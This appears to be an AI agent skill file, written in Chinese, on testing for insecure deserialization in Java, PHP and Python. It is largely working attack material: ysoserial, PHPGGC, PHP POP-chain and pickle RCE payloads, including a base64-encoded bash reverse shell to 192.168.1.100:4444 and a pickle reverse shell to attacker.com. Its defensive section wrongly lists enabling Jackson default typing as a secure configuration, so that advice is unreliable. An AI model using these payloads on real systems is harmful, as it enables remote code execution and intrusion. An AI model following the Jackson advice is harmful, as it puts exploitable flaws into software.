deserialization-testing

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description	反序列化漏洞测试的专业技能和方法论 Use when this capability is needed.
metadata	{"author":"ed1s0nz"}

反序列化漏洞测试

概述

反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞，可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。

漏洞原理

应用程序将序列化的数据反序列化为对象时，如果数据来源不可信，攻击者可以构造恶意序列化数据，在反序列化过程中执行任意代码。

常见格式

Java

常见库：

• Java原生序列化
• Jackson
• Fastjson
• XStream
• Apache Commons Collections

PHP

常见函数：

• unserialize()
• json_decode()

Python

常见模块：

• pickle
• yaml
• json

.NET

常见类：

• BinaryFormatter
• SoapFormatter
• DataContractSerializer

测试方法

1. 识别序列化数据

Java序列化特征：

AC ED 00 05 (十六进制)
rO0 (Base64)

PHP序列化特征：

O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}

Python pickle特征：

\x80\x03

2. 检测反序列化点

常见位置：

• Cookie值
• Session数据
• API参数
• 文件上传
• 缓存数据
• 消息队列

3. Java反序列化

Apache Commons Collections利用：

// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

常见Gadget链：

• CommonsCollections1-7
• Spring1-2
• ROME
• Jdk7u21

4. PHP反序列化

基础测试：

<?php
class Test {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>

魔术方法利用：

• __destruct()
• __wakeup()
• __toString()
• __call()

5. Python pickle

基础测试：

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

pickle.dumps(RCE())

利用技术

Java RCE

使用ysoserial：

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

# Base64编码
base64 -w 0 payload.bin

手动构造：

// 使用Gadget链构造恶意对象
// 参考ysoserial源码

PHP RCE

利用POP链：

<?php
class A {
    public $b;
    function __destruct() {
        $this->b->test();
    }
}

class B {
    public $c;
    function test() {
        call_user_func($this->c, "id");
    }
}

$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>

Python RCE

Pickle RCE：

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload))

绕过技术

编码绕过

Base64编码：

原始: rO0ABXNy...
编码: ck8wQUJYTnk...

URL编码：

%72%4F%00%AB...

过滤器绕过

使用不同Gadget链：

• 如果CommonsCollections被过滤，尝试Spring
• 如果某个版本被过滤，尝试其他版本

类名混淆

使用反射：

Class.forName("java.lang.Runtime").getMethod("exec", String.class)

工具使用

ysoserial

# 列出可用Gadget
java -jar ysoserial.jar

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64

PHPGGC

# 列出可用Gadget
./phpggc -l

# 生成Payload
./phpggc Monolog/RCE1 system id

# 生成编码Payload
./phpggc -b Monolog/RCE1 system id

Burp Suite

1. 拦截包含序列化数据的请求
2. 使用插件生成Payload
3. 替换原始数据
4. 观察响应

验证和报告

验证步骤

1. 确认可以控制序列化数据
2. 验证反序列化触发代码执行
3. 评估影响（RCE、数据泄露等）
4. 记录完整的POC

报告要点

• 漏洞位置和序列化数据格式
• 使用的Gadget链或利用方式
• 完整的利用步骤和PoC
• 修复建议（输入验证、使用安全序列化等）

防护措施

推荐方案

1. 避免反序列化不可信数据

   • 使用JSON替代
   • 使用安全的序列化格式

2. 输入验证

   // 白名单验证类名
   private static final Set<String> ALLOWED_CLASSES = 
       Set.of("com.example.SafeClass");
   
   private Object readObject(ObjectInputStream ois) {
       // 验证类名
       // ...
   }
   

3. 使用安全配置

   // Jackson配置
   objectMapper.enableDefaultTyping();
   objectMapper.setVisibility(PropertyAccessor.FIELD, 
       JsonAutoDetect.Visibility.ANY);
   

4. 类加载器隔离

   • 使用自定义ClassLoader
   • 限制可加载的类

5. 监控和日志

   • 记录反序列化操作
   • 监控异常行为

注意事项

• 仅在授权测试环境中进行
• 注意不同版本库的Gadget链差异
• 测试时注意Payload大小限制
• 了解目标应用的依赖库版本

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